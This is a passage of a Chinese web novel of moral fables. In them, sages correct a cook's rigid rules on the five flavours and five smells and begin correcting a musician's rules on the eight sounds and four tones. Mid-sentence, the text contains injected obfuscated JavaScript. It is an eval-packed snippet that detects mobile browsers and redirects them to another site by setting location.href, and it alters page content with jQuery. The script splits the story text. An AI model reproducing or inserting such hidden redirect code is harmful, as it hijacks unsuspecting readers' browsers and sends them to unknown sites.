世俗之谬在“偏见”——以五色分贵贱、主属、吉凶,拘束人心 - 百姓之谬在“盲从”——不知色本自然,盲目遵从,受困于色 - 三正:赵守正倡五色新道,百姓明色本自然,流霞行宜用之道 三、 宜之大道 - 深层隐喻:青赤黄白黑,五色是造化,目所识,本无贵贱。色只是色,本无五行四方之属,无男女老幼之别,无士农工商之分。染色之道,在得色,不在固法;因地而异,因材而变,顺其自然,方是正法。衣色之宜,在合体,不在合礼;因心而择,因体而宜,顺其本心,方是真宜。强分贵贱,是以虚妄缚实相;强定宜忌,是以偏见限天性;强判身份,是以俗见困人心 - 终极指向:世人用色,易入两歧:一曰泥古,二曰妄为。泥古则呆,妄为则乱。五色是自然,目所识,心所用。用色当知色是色,本无贵贱;染法当因地因材制宜,不拘古方;衣色当因心因体择宜,不拘身份。顺其自然,合其本心,得宜适中,方是色之真道。色在观,不在说;在用,不在分;在宜,不在固 五色偈: 流霞染坊赵守正,强分五色贵贱明。 染法衣色皆成枷,百姓受困色中囚。 色真先生来点化,五色是色本自然。 从此染法看材料,衣色随心各缤纷。 后世叹: 青赤黄,及黑白,此五色,目所识。 赵师泥古分贵贱,染法衣色皆成规。 色真先生来点化,五色是色本自然。 三载宜用新气象,流霞百姓色缤纷。 正是: 流霞染坊说五色,赵师泥古分贵贱。 青赤黄白黑有属,男女老幼各宜忌。 色真先生来点破,五色是色本自然。 从此染法看材料,衣色随心各缤纷。 106.五味五臭谳 楔子·庖厨拘方 金谷镇“五味楼”乃此地第一食肆,庖长郑守味,执掌后厨三十载。每逢望日,郑守味必在楼前高台开讲“五味五臭之理”。这日正值望日,楼前已聚了不少食客厨人。郑守味头戴高冠,身着绣“饕餮纹”的杏黄庖服,手持一部《食经》,对众人朗声道: “……故曰:天有五行,人有五味。酸、苦、甘、辛、咸,此五味,口所含,乃造化之正味。又云:地有五气,鼻有五臭。膻、焦、香、腥、朽,此五臭,鼻所嗅,乃万物之正臭。此乃天地纲常,不可紊乱也!” 台下多是庖厨、食客、商贩,纷纷点头。 郑守味捻须续道:“故而调和之道,当遵古法。春多酸,夏多苦,秋多辛,冬多咸,四季皆宜甘。此乃顺天应时,养生之要!又云:膻属木,焦属火,香属土,腥属金,朽属水。五味配五臭,相生相克,不得僭越!” 他指着楼前陈列的各式调料:“譬如这酸,必用梅子三蒸三晒所得之醋;苦必用黄连九熬九滤所得之汁;甘必用蜂蜜七酿七澄所得之饴;辛必用蜀椒五焙五磨所得之粉;咸必用海盐九晒九淘所得之晶。工序不可减,火候不可差,方是正味!” 又指一旁熏炉:“膻必是山羊肋炙烤三刻所得;焦必是松木慢燃五更所得;香必是沉香文火熏七日所得;腥必是鲜鱼曝晒九日所得;朽必是豆豉窖藏三年所得。时辰不可短,用料不可替,方是正臭!” 台下“醉仙居”的掌勺王师傅叹道:“郑庖长说得是!咱们做菜几十年,从不敢乱了章法。前街李厨子做春膳用了重咸,被老饕斥为‘逆时背道’,招牌都差点砸了!” “珍味斋”的东家附和道:“上月西市张庖人制鲙,用了松木熏香,被行家说‘香臭相克’,一釜鱼脍全废了!” 郑守味面露得色,正要再言,楼前老松树下传来一个清朗声音:“此言谬矣。” 众人望去,见松下立着一人。斗笠是细竹与箬叶混编,檐边垂着几缕风干的艾草。白衣是粗麻所制,浆洗得挺括,衣摆处有细密的酱色补丁。腰间悬一柄木剑,剑柄缠着褪色的五色丝绦。面上蒙着本色棉纱,只露出一双明澈如清泉的眼睛。 郑守味眉头微皱:“这位先生,谬在何处?” “酸苦甘,及辛咸。此五味,口所含。膻焦香,及腥朽。此五臭,鼻所嗅。”那人缓步上台,对众人略一拱手,“此话不错。然郑庖长说‘五味有时、五臭有属,调和必遵古法’,却是错了。” “错了?”郑守味不悦,“四时五味,五行五臭,此乃《黄帝内经》《周礼·天官》所载,岂能有错?” “五味是味,口所含,是实。五臭是臭,鼻所嗅,亦是实。”那人道,“然味是味,臭是臭,本无定时,本无定属。酸可是酸,苦可是苦,甘可是甘,辛可是辛,咸可是咸。膻可是膻,焦可是焦,香可是香,腥可是腥,朽可是朽。人以口尝味,以鼻嗅臭,本乎自然。强分四时,强配五行,是人为之枷锁,非味臭之本然。” 他走到调料台前,指着一坛醋:“郑庖长说酸必用梅子三蒸三晒之醋。然我见江南有米醋,一酿即酸,其味清冽;北地有高粱醋,再酿方酸,其味醇厚。同是酸味,因地而异,因材而变,岂可必以梅子三蒸三晒为定法?” 又指苦汁:“苦必用黄连九熬九滤?我见岭南有苦瓜,生食即苦,其味清苦;西域有咖啡,焙炒方苦,其味焦苦。同是苦味,因物而异,因法而变,岂可必以黄连九熬九滤为定则?” 再指辛粉:“辛必用蜀椒五焙五磨?我见滇南有山椒,鲜用即辛,其味辛辣;东海有芥末,磨制即辛,其味冲辛。同是辛味,因材而异,因用而变,岂可必以蜀椒五焙五磨为铁律?” 他转向熏炉:“至于膻必是山羊肋炙烤三刻,焦必是松木慢燃五更,香必是沉香文火熏七日,腥必是鲜鱼曝晒九日,朽必是豆豉窖藏三年,更是拘泥。羊有膻,牛亦有膻;木有焦,草亦有焦;花有香,果亦有香;鱼有腥,肉亦有腥;物有朽,蔬亦有朽。味在食材,臭在物性,因材施法,因时制宜,方是调和之道。强定时辰,强定用料,是舍本逐末。” 郑守味面色微变:“那四时五味、五行五臭……” “四时五味,五行五臭,更是穿凿。”那人声音平和,“春多酸,夏多苦,秋多辛,冬多咸,四季皆宜甘?我见北人冬月嗜酸菜,南人夏月好咸鱼。西人秋日食甘饴,东人春日啖辛辣。味随人异,因习而变,岂可强分四时?膻属木,焦属火,香属土,腥属金,朽属水?我闻漠北以膻为美,南越以香为珍,东海嗜腥,西陲好焦,中原喜朽。臭随俗异,因地而变,岂可强配五行?味只是味,臭只是臭。以时分味,以行配臭,是以虚妄缚实相,以玄谈困天然。” 他转向郑守味:“郑庖长,五味是造化,口所含;五臭是物性,鼻所嗅。调和之道,在适口,不在合古;烹饪之要,在顺性,不在拘方。强分四时五行,是以虚妄缚天然;强定工序火候,是以成法困变化。此非守经,乃悖物性也。” 郑守味额角见汗,强撑道:“你……你这是悖逆圣贤!《黄帝内经》有云:‘酸入肝,苦入心,甘入脾,辛入肺,咸入肾。’《周礼》有云:‘凡和,春多酸,夏多苦,秋多辛,冬多咸,调以滑甘。’此乃养生正理!” “《内经》所云五味入五脏,是言味之性,非是言味之时。《周礼》所云四时五味,是言调和之宜,非是言味之定法。”那人从怀中取出一卷帛书,展开示众,“此乃《吕氏春秋·本味》篇:‘凡味之本,水最为始。五味三材,九沸九变,火为之纪。时疾时徐,灭腥去臊除膻,必以其胜,无失其理。’又云:‘鼎中之变,精妙微纤,口弗能言,志弗能喻。’调和之道,在水火之宜,在鼎中之变,岂在四时五行之拘?至于五臭,《礼记》有云:‘饮食男女,人之大欲存焉。’臭乃饮食之辅,顺性为美,岂在五行之配?” 众人围观,果见帛书有载。 郑守味踉跄一步,扶住案台,喃喃道:“鼎中之变,精妙微纤……臭乃饮食之辅……” 人群中哗然。有那见多识广的食客叹道:“这位先生说得是!我走南闯北,各地口味大不同。蜀人嗜麻辣,越人好咸鲜,北人喜酸菜,南人爱甜食,哪有四时之分?” “可不是么!我在岭南吃过槟榔,其苦非常,本地人却视若珍宝!” “我在东海渔村,腥气扑鼻,渔人却说‘不腥不鲜’!” “咱们调和,也该看食材、看食客,不能光按古法!” 那人点头:“正是。五味是味,本无定时;五臭是臭,本无定属。调和之道,因材而异,因习而变。春可食咸,夏可食酸,秋可食苦,冬可食辛,甘可四季。膻可是美,焦可是香,香可是雅,腥可是鲜,朽可是醇。顺食材之性,合食客之习,方是调和之要。” 他转向郑守味:“郑庖长精于调和,是匠心。然以古经为枷锁,强分味之时、臭之属,强定工序火候,是过矣。调味不因材因习制宜,是呆调;烹饪不因时因地变法,是愚烹。此非守经重道,乃悖逆物性也。” 郑守味冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:酸苦甘辛咸,此五味,口所含。膻焦香腥朽,此五臭,鼻所嗅。味是味,臭是臭,本无定时定属。调和当因材因习制宜,烹饪当因时因地变法。顺其物性,合其人口,方是饮食之道。” 说罢,转身欲下台。 “先生留步!”郑守味颤巍巍深揖一礼,“先生一席话,如醍醐灌顶。郑某拘泥古经,以虚妄缚天然,以成法困变化,误人误己。敢问先生高姓大名?” “我姓味,名真,字和之。” “味真和之……”郑守味喃喃,忽问,“先生这《吕氏春秋·本味》篇,可否借某一观?” “可。”味真和之递过帛书,“此帛可传阅,然需切记:五味是造化,口所含;五臭是物性,鼻所嗅。调和在适口,不在合古;烹饪在顺性,不在拘方。强分四时五行,强定工序火候,是以虚妄困天然,非是圣贤本意。” 郑守味双手接过,如获至宝。 味真和之又对众人道:“道理在此,列位可思可悟。然需切记:口说五味,不如亲尝;鼻说五臭,不如亲嗅。酸苦甘辛咸,膻焦香腥朽,皆在眼前。尝其真,嗅其实,和其宜,方是真知。” 说罢,他戴上斗笠,走下高台。箬叶斗笠在日光下泛着青翠,粗麻白衣的下摆扫过五味楼前的石板地,不染一丝油腻。 一、 郑守味的悔悟 味真和之走后,郑守味在高台上呆立良久。他展开《吕氏春秋·本味》篇,细读“凡味之本,水最为始。五味三材,九沸九变,火为之纪。时疾时徐,灭腥去臊除膻,必以其胜,无失其理”、“鼎中之变,精妙微纤,口弗能言,志弗能喻”等语,又回想味真和之所言,越思越心惊。 “我误人误己三十载啊!” 他想起自己执掌五味楼三十年,总以“四时五味、五行五臭,调和必遵古法”为圭臬。见人春膳用咸,便斥为“逆时”;见人夏馔用酸,便讥为“背道”;见人用非古法之调料,便贬为“不正”;见人用非定方之熏法,便斥为“邪臭”。有北人冬月嗜酸,他劝“冬宜咸,不宜酸”;有南人夏月好咸鱼,他劝“夏宜苦,不宜咸”;有庖人用米醋代梅醋,他说“非正酸”;有厨子用果木熏肉,他说“非正香”。却不知,味只是味,臭只是臭。以时分味,以行配臭,是以虚妄缚实相,以玄谈困天然。 “那位先生说得好,五味是造化,口所含;五臭是物性,鼻所嗅。调和之道,在适口,不在合古;烹饪之要,在顺性,不在拘方。我强分四时五行,强定工序火候,岂不是以虚妄缚天然、以成法困变化?” 他羞愧难当,当即将《食经》收起,将《吕氏春秋·本味》篇悬于五味楼,对还未散去的众人深揖一礼。 “郑某拘泥古经,误人误己。从今日起,郑某当闭门思过,重研调和,再不固守成法、强分四时五行!” 众人见他诚恳,便劝道:“郑庖长知错能改,善莫大焉。只是这五味五臭之道,咱们还想听正解。” 郑守味便道:“《吕览》在此,列位可随意观览。郑某每旬在此讲解,与列位共悟!” 从此,每逢旬日,郑守味便在五味楼开讲五味五臭新义。他不再说“四时五味、五行五臭,调和必遵古法”,而是讲解五味之真、五臭之实、调和之宜。他结合金谷镇实际,讲酸、苦、甘、辛、咸的因材而变、因习而异,讲膻、焦、香、腥、朽的顺性为美、因地而宜。 “列位,酸是酸味,本无定时。春可食酸,夏亦可食酸,秋可食酸,冬亦可食酸。梅子醋是酸,米醋亦是酸,果醋亦是酸。当因材而用,因习而调,适口为要,不必拘泥四时、必用梅醋。” “苦是苦味,本无定方。黄连苦是苦,苦瓜苦亦是苦,咖啡苦亦是苦。当因物而用,因习而调,适口为要,不必拘泥必用黄连。” “甘是甘味,本无定法。蜂蜜甘是甘,饴糖甘亦是甘,果糖甘亦是甘。当因材而用,因习而调,适口为要,不必拘泥必用蜂蜜。” “辛是辛味,本无定料。蜀椒辛是辛,山椒辛亦是辛,芥末辛亦是辛。当因材而用,因习而调,适口为要,不必拘泥必用蜀椒。” “咸是咸味,本无定品。海盐咸是咸,井盐咸亦是咸,岩盐咸亦是咸。当因地而用,因习而调,适口为要,不必拘泥必用海盐。” 他顿了顿,续道:“至于五臭,更是如此。膻是膻,羊有膻,牛亦有膻,顺性为美,因地而宜。漠北以膻为美,中原以膻为臊,各随其习。焦是焦,松木焦是焦,果木焦亦是焦,顺性为美,因用而宜。熏肉以果木焦为香,熏鱼以松木焦为雅,各随其用。香是香,沉香香是香,檀香香亦是香,顺性为美,因物而宜。祀神以沉香为敬,日用以檀香为常,各随其宜。腥是腥,鱼腥是腥,肉腥亦是腥,顺性为美,因习而宜。海民以腥为鲜,山民以腥为臊,各随其俗。朽是朽,豆豉朽是朽,酱醢朽亦是朽,顺性为美,因地而宜。南人喜豉朽,北人好酱朽,各随其好。臭只是臭,顺性为美,合宜为珍,不必强配五行、强定时辰。” 他讲得通透,众人听得豁然开朗。有那曾因“味不合时”、“臭不合行”被训斥、被讥笑的庖厨食客,感慨万千。 “原来五味五臭,得这么看!” “是啊,调味得看食材、看食客,不能光按古法、四时!” “熏制得看材料、看用途,不能光按五行、定方!” “郑庖长这么一讲,咱们就明白了!” 郑守味在五味楼前立了块木牌,上书:“酸苦甘,及辛咸。此五味,口所含。膻焦香,及腥朽。此五臭,鼻所嗅。然味无定时,臭无定属。调和当因材因习制宜,烹饪当因时因地变法。顺其物性,合其人口,方是饮食之道。” 二、 百姓的醒悟 郑守味在五味楼讲五味五臭新义,金谷镇的百姓渐渐醒悟。 从前,他们以为五味有四时、五臭有五行:春必酸,夏必苦,秋必辛,冬必咸,四季皆宜甘。膻属木,焦属火,香属土,腥属金,朽属水。调味必遵古法,烹饪必合时行。结果,调味呆板,烹饪拘束,食不甘味。 如今,他们明白了:五味只是味,本无定时;五臭只是臭,本无定属。调和之道,因材而异,因习而变;烹饪之要,因时而宜,因地而宜。春可食咸,夏可食酸,秋可食苦,冬可食辛,甘可四季。膻可是美,焦可是香,香可是雅,腥可是鲜,朽可是醇。顺食材之性,合食客之习,方是饮食之要。 “原来五味五臭,得这么用!” “可不是么!我北人冬月就爱酸菜,开胃!从前不敢多吃,现在随便吃!” “我南人夏月就好咸鱼,下饭!从前不敢多吃,现在放心吃!” “咱们做菜,也看食客,蜀人来了多放椒,越人来了多放糖,这才对味!” “熏肉也用果木,香!不必非用松木!” 有那吃过亏的,现身说法,劝人莫要“固守调味”、“强分时行”。有那开明的,开始践行“因材因习制宜”、“因时因地变法”的新道。 庖厨调味,看食材、看食客,不拘古法、四时;烹饪熏制,看材料、看用途,不拘五行、定方。 镇上的食风,为之一新。呆板的少了,灵活的多了;拘束的少了,鲜活的多了。 郑守味在五味楼,将百姓践行五味五臭新道的事一一记录,成《金谷五味五臭新事》。他携此册,奔走于乡邻之间,倡行“因材因习制宜”、“因时因地变法”之道。 乡邻们见郑守味变了,也渐改前非。有那曾因“固守调味”不合食客口味的,如今看人下料,食客称善;有那曾因“强分时行”烹饪失宜的,如今因时制宜,菜肴生色。 五味五臭新道,渐入人心。 三、 《吕览》的流传 郑守味倡五味五臭新道之事,渐传周边。附近乡镇的庖厨、食肆东家、老饕,闻讯来金谷镇取经。郑守味便将《吕氏春秋·本味》篇借出传抄,更将《金谷五味五臭新事》广为散发。 “五味是味,本无定时;五臭是臭,本无定属。此理通行天下。” “调和当因材因习制宜,烹饪当因时因地变法。顺其物性,合其人口。” “金谷新事,可供参考。但各地物产不同,食习有异,当因地制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的庖厨、食肆东家、老饕,亦加入其中。一时间,“味无定时,臭无定属,调和看食材,烹饪看食客”之理,传遍州县。 有那固执的老庖厨,初闻此理,斥为“悖逆古法”。但见百姓践行,菜肴更美,食客更悦,也渐改观念。有那曾因固守古法失客的,闻此理如获至宝。 味真和之的名声,渐渐在州县传开。都说有位戴箬叶斗笠、蒙棉纱的高人,深明五味五臭,点破迷障,使人明“味无定时,臭无定属”之理,知“调和看食材,烹饪看食客”之道。 四、 三年后的望日 三年后的一个望日,五味楼前又聚满了人。不仅有金谷镇的百姓,还有周边乡镇的乡民。 郑守味正在讲解“酸苦甘,及辛咸。此五味,口所含。膻焦香,及腥朽。此五臭,鼻所嗅”。 “……故曰:五味是造化,口所含;五臭是物性,鼻所嗅。酸可是酸,苦可是苦,甘可是甘,辛可是辛,咸可是咸。膻可是膻,焦可是焦,香可是香,腥可是腥,朽可是朽。本无定时,本无定属。调和之道,在适口,不在合古。因材而异,因习而变,顺其自然,方是正理。烹饪之要,在顺性,不在拘方。因时而宜,因地而宜,合其物性,方是真要。” 他指着五味楼悬着的《吕氏春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178294|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋·本味》篇与《金谷五味五臭新事》,道:“列位看,这是古人之训,这是今事之证。味只是味,臭只是臭,调在适口,烹在顺性。顺其自然,合其物性,方是饮食之道。” 众人纷纷称是。有外乡庖厨问:“郑庖长,咱们那儿还有人固守古法,春必酸,夏必苦,秋必辛,冬必咸,四季皆宜甘。又分膻属木,焦属火,香属土,腥属金,朽属水。调味必遵四时,烹饪必合五行。见人因材因习制宜,便斥为‘不正’;见人因时因地变法,便讥为‘背道’。该如何劝解?” 郑守味笑道:“以事劝之。请其观‘固守调味’之呆、‘强分时行’之拘,再观‘因材因习制宜’之活、‘因时因地变法’之宜。两相对比,其理自明。” 外乡庖厨点头记下。 这时,五味楼前老松树下又立一人。还是箬叶斗笠,粗麻白衣,腰间木剑,脸上蒙着棉纱。楼前人声鼎沸,他却静立如松,不惹尘埃。 “味真先生!”郑守味惊喜,忙迎出。 味真和之微微点头,看着五味楼悬着的《吕氏春秋·本味》篇与《金谷五味五臭新事》,道:“三年不见,金谷气象一新。” 郑守味深揖:“全赖先生点拨!守味如今知味无定时,臭无定属,更倡因材因习制宜、因时因地变法。百姓践行,菜肴更美,食客更悦!” 味真和之看向众人:“列位于五味五臭之道,所知几何?” 众人纷纷道:“知味无定时!”“知臭无定属!”“知调和看食材,烹饪看食客!” “好。”味真和之点头,“知味无定时,则不拘四时;知臭无定属,则不拘五行;知调和看食材,烹饪看食客,则能顺物性、合人口。此乃庖厨之智,食客之福。” 他又问:“然五味五臭之用,易入两歧:一曰泥古,二曰妄为。泥古者,固守成法,强分时行;妄为者,不察物性,胡乱施为。此又当如何?” 众人肃然。郑守味道:“先生所言极是!五味五臭之用,贵在得宜。泥古则呆,妄为则乱。顺其物性,因材因习制宜;合其自然,因时因地变法。方是正道。” “正是。”味真和之道,“五味如五音,有常调,亦有变奏。守常调,可知宫商角徵羽;通变奏,可成万千妙曲。若死守常调,不知变通,是呆;若无视常调,胡乱施为,是乱。顺物性,合人口,得宜适中,方是妙味。” 他转向众人:“列位当谨记:用酸味,当知酸是酸,可梅醋可米醋,可春用可冬用,顺材顺习为美。用苦味,当知苦是苦,可黄连可苦瓜,可夏用可秋用,顺材顺习为美。用甘味,当知甘是甘,可蜂蜜可饴糖,可四季用,顺材顺习为美。用辛味,当知辛是辛,可蜀椒可山椒,可秋用可春用,顺材顺习为美。用咸味,当知咸是咸,可海盐可井盐,可冬用可夏用,顺材顺习为美。用膻臭,当知膻是膻,可羊膻可牛膻,可漠北喜可中原厌,顺性顺俗为美。用焦臭,当知焦是焦,可松木焦可果木焦,可熏肉可熏鱼,顺性顺用为美。用香臭,当知香是香,可沉香可檀香,可祀神可日用,顺性顺宜为美。用腥臭,当知腥是腥,可鱼腥可肉腥,可海民鲜可山民臊,顺性顺俗为美。用朽臭,当知朽是朽,可豆豉朽可酱醢朽,可南人喜可北人好,顺性顺好为美。味只是味,臭只是臭,用其宜,顺其性,方是正道。” 众人齐声道:“谨记先生教诲!” 味真和之从怀中取出一卷书,递给郑守味:“此乃《五味五臭宜用录》,是我游历各地,记录味臭用法、得宜得失之鉴所编。你可传抄于众,供百姓参考。” 郑守味双手接过,如获至宝。 味真和之又对众人道:“此书可参阅,但需切记:五味五臭之道,在尝在嗅。尝百味不如调一味,嗅百臭不如用一臭。酸苦甘辛咸,膻焦香腥朽,皆在眼前。尝其真,嗅其实,和其宜,方是真知。” 说罢,他戴上斗笠,转身走入人群。箬叶斗笠在日光下泛着青翠,粗麻白衣的下摆扫过五味楼前的石板地,不染一丝油腻。 郑守味对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声·五味谣 多年后,金谷镇的孩童玩耍时,会唱一首童谣: 酸苦甘辛咸五味,口所含来本无时。 膻焦香腥朽五臭,鼻所嗅来本无属。 郑庖强分时与行,调味烹饪皆成规。 味真先生来点化,味臭本真顺自然。 从此调和看食材,烹饪看客顺物性。 北人冬月嗜酸菜,南人夏月好咸鱼。 蜀人嗜麻越人甜,各顺其性各称美。 有外乡人听了,问镇里老人:“这味真先生是何人?” 老人便会指着五味楼说:“是位教人明五味五臭、知宜用的先生。他来了,郑庖长知错了,百姓醒悟了,咱们镇知道味无定时、臭无定属了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又固守成法、强分时行的时候,他大概就会回来吧。” 外乡人若有所思,走到五味楼前。楼前悬着《吕氏春秋·本味》篇与《金谷五味五臭新事》,木牌上刻着那十六字:“酸苦甘,及辛咸。此五味,口所含。膻焦香,及腥朽。此五臭,鼻所嗅。”下面还有一行小字:“然味无定时,臭无定属。调和当因材因习制宜,烹饪当因时因地变法。顺其物性,合其人口,方是饮食之道。” 也许那位味真先生,正在某个地方,看人调五味、用五臭吧。他想。 他走出五味楼,暮色四合。楼里飘出菜肴香气,酸、苦、甘、辛、咸,五味调和;膻、焦、香、腥、朽,五臭纷呈。街边食摊热气蒸腾,南来北往的食客大快朵颐。五味五臭之道,看似高深,实则就在这庖厨调和、食客品尝之中。 本章诫世 一、 五味五臭真义训 - 酸苦甘,及辛咸。此五味,口所含。膻焦香,及腥朽。此五臭,鼻所嗅 - 破解法:为庖者,自问“可固守古法?可知味无定时、臭无定属?可曾因材因习制宜、因时因地变法?”;为食者,自问“可强分时行?可知味臭本真?可曾顺物性、合人口?” 二、 三谬三正 - 郑守味之谬在“泥古”——以古法为铁则,固守四时五行,强定工序火候 - 世俗之谬在“拘方”——以五味分四时,以五臭配五行,拘束调和烹饪 - 百姓之谬在“盲从”——不知味臭本真,盲目遵从,食不甘味 - 三正:郑守味倡五味五臭新道,百姓明味臭本真,金谷行宜用之道 三、 和之大道 - 深层隐喻:酸苦甘辛咸,五味是造化,口所含;膻焦香腥朽,五臭是物性,鼻所嗅。味只是味,臭只是臭,本无四时之分,无五行之属。调和之道,在适口,不在合古;因材而异,因习而变,顺其自然,方是正理。烹饪之要,在顺性,不在拘方;因时而宜,因地而宜,合其物性,方是真要。强分四时,是以虚妄缚天然;强配五行,是以玄谈困物性;强定工序,是以成法碍变化 - 终极指向:世人调味烹饪,易入两歧:一曰泥古,二曰妄为。泥古则呆,妄为则乱。五味是味,五臭是臭,本无定时定属。调味当因材因习制宜,不拘古法四时;烹饪当因时因地变法,不拘五行定方。顺其物性,合其人口,得宜适中,方是饮食真道。味在尝,不在说;臭在嗅,不在分;和在宜,不在固 五味五臭偈: 金谷五味郑守味,强分四时与五行。 调味烹饪皆成规,百姓食之不知味。 味真先生来点化,味臭本真顺自然。 从此调和看食材,烹饪看客各称美。 后世叹: 酸苦甘辛咸五味,口所含来本无时。 膻焦香腥朽五臭,鼻所嗅来本无属。 郑庖泥古分时行,调味烹饪皆成枷。 味真先生来点化,味臭宜用顺自然。 三载调和新气象,金谷百姓食味真。 正是: 金谷楼前说味臭,郑庖泥古分时行。 酸苦甘辛咸有属,膻焦香腥朽配行。 味真先生来点破,味臭本真顺自然。 从此调和看食材,烹饪看客各得宜。 107.八音四声谳 楔子·乐律铁尺 琴川镇“八音阁”乃此地乐坊之冠,乐正钟守律,执掌乐事三十载。每逢朔日,钟守律必在阁前高台开讲“八音四声之理”。这日正值朔日,阁前已围聚不少乐工、歌者、听客。钟守律头戴进贤冠,身着绣“云雷纹”的玄色乐服,手持一部《乐经》,对众人朗声道: “……故曰:天地有八音,匏、土、革、木、石、金、丝、竹。此八音,乃造化之正声。又云:人语有四声,平、上、去、入。此四声,乃吐纳之正韵。此乃礼乐纲常,不可紊乱也!” 台下吹笙的、击磬的、弹琴的、唱歌的,纷纷颔首。 钟守律抚须续道:“故而制乐之道,当遵古制。匏笙必用瓠为体,竹为管,缺一不可;土埙必用陶为体,三孔为制,不可增减;革鼓必用夔皮为面,桐木为腔,不可替代;木柷必用梓木,三尺为度;石磬必用泗滨石,十六枚为套;金钟必用青铜,十二律齐备;丝弦必用蚕丝,五弦为琴,七弦为瑟;竹笛必用湘竹,六孔为制。此乃先王法度,不可更易!” 又指一旁歌者:“至于四声,平声必平直,上声必上扬,去声必下降,入声必短促。平仄相对,抑扬顿挫,不可淆乱。歌诗必依《切韵》,吟诵必守《广韵》,一字不可讹!” 台下“清音坊”的琴师叹道:“钟乐正说得是!咱们习乐几十年,从不敢乱了法度。前街李笙师用葫芦做笙,被乐正斥为‘不遵古制’,笙都被砸了!” “妙声斋”的歌者附和道:“上月西市王歌者唱《采薇》,将上声唱作平声,被行家说‘四声淆乱’,当场轰下台来!” 钟守律面露得色,正要再言,阁前老梧桐树下传来一个清越声音:“此言谬矣。” 众人望去,见树下立着一人。斗笠是细竹与蕉叶混编,檐边垂着几缕风干的兰草。白衣是粗葛所制,浆洗得挺括,衣摆处有细密的靛蓝补丁。腰间悬一柄木剑,剑柄缠着褪色的五色丝绦。面上蒙着本色麻纱,只露出一双明澈如深潭映月的眼睛。 钟守律眉头微皱:“这位先生,谬在何处?” “匏土革,木石金。丝与竹,乃八音。曰平上,曰去入。此四声,宜调协。”那人缓步上台,对众人略一拱手,“此话不错。然钟乐正说‘八音必遵古制,四声必守旧韵’,却是错了。” “错了?”钟守律不悦,“八音制法,四声韵律,皆载于《周礼》《乐书》,岂能有错?” “八音是音,耳所闻,是实。四声是声,口所出,亦是实。”那人道,“然音是音,声是声,本无定法,本无定韵。匏可是匏,土可是土,革可是革,木可是木,石可是石,金可是金,丝可是丝,竹可是竹。平可是平,上可是上,去可是去,入可是入。人以耳听音,以口出声,本乎自然。强定制法,强守旧韵,是人为之枷锁,非音声之本然。” 他走到乐器台前,指着一排笙:“钟乐正说匏笙必用瓠为体,竹为管。然我见南疆有葫芦笙,以葫芦为斗,芦竹为管,其声清越;北地有木斗笙,以木为斗,竹为管,其声浑厚。同是匏音,因地而异,因材而变,岂可必以瓠为体、竹为管为定法?” 又指土埙:“土埙必用陶为体,三孔为制?我见西域有胡埙,以泥为体,五孔为制,其声苍凉;东海有贝埙,以海螺为体,无孔而鸣,其声幽远。同是土音,因物而异,因法而变,岂可必以陶体三孔为定则?” 再指丝弦:“丝弦必用蚕丝,五弦为琴,七弦为瑟?我见岭南有马尾弦,以马尾为弦,其声铿锵;漠北有筋弦,以兽筋为弦,其声沉厚。同是丝音,因材而异,因用而变,岂可必以蚕丝五弦七弦为铁律?” 他转向歌者:“至于四声,更是如此。平声必平直,上声必上扬,去声必下降,入声必短促?我闻北人语平声多曲折,南人语上声多平缓,西人语去声多上扬,东人语入声多悠长。声随方言而异,因习而变,岂可强守《切韵》《广韵》?音只是音,声只是声。以法定音,以韵束声,是以虚妄缚实相,以旧规困天然。” 钟守律面色微变:“那八音制法、四声韵律……” “八音制法,当因材而宜;四声韵律,当因语而变。”那人声音平和,“匏可是匏,葫芦可为斗,木亦可为斗,竹可为管,芦亦可为管。土可是土,陶可为埙,泥亦可为埙,贝亦可为埙。革可是革,夔皮可为鼓,牛皮亦可为鼓,羊皮亦可为鼓。木可是木,梓木可为柷,桐木亦可为柷,杉木亦可为柷。石可是石,泗滨石可为磬,他山之石亦可为磬。金可是金,青铜可为钟,铁亦可为钟,铜亦可为钟。丝可是丝,蚕丝可为弦,马尾亦可为弦,兽筋亦可为弦。竹可是竹,湘竹可为笛,苦竹亦可为笛,紫竹亦可为笛。制法在得音,不在拘材;音色在和谐,不在合古。” 他顿了顿,又道:“至于四声,平可是平,上扬可为平,曲折亦可为平。上可是上,平缓可为上,起伏亦可为上。去可是去,下降可为去,上扬亦可为去。入可是入,短促可为入,悠长亦可为入。韵律在调协,不在守旧;歌吟在达意,不在合韵。” 钟守律额角见汗,强撑道:“你……你这是悖逆礼乐!《周礼》有云:‘大师掌六律、六同,以合阴阳之声。皆文之以五声,皆播之以八音。’《乐记》有云:‘声成文,谓之音。’八音制法,四声韵律,乃圣人所定,岂容更易?” “《周礼》所云八音,是言音之种类,非是言音之制法。《乐记》所云声成文,是言声之和谐,非是言声之定韵。”那人从怀中取出一卷帛书,展开示众,“此乃《诗经》国风篇:‘关关雎鸠,在河之洲。’‘窈窕淑女,君子好逑。’又汉乐府:‘江南可采莲,莲叶何田田。’皆不拘旧韵,自然成诗。至于八音,《尚书·舜典》云:‘夔曰:於!予击石拊石,百兽率舞。’石可击可拊,岂在定法?音在和谐,声在达意,岂在拘泥?” 众人围观,果见帛书有载。 钟守律踉跄一步,扶住案几,喃喃道:“音在和谐,声在达意……岂在拘泥……” 人群中哗然。有那走南闯北的乐工叹道:“这位先生说得是!我在西域见过胡笳,以芦为管,其声悲怆,哪要什么湘竹六孔?” “我在南越听过铜鼓,以铜为体,其声雄浑,何必非是夔皮?” “咱们这儿山里人唱歌,四声跟城里人不一样,可好听哩!” “可不是么!我师父制琴,用马尾弦,声如裂帛,比蚕丝弦还劲道!” 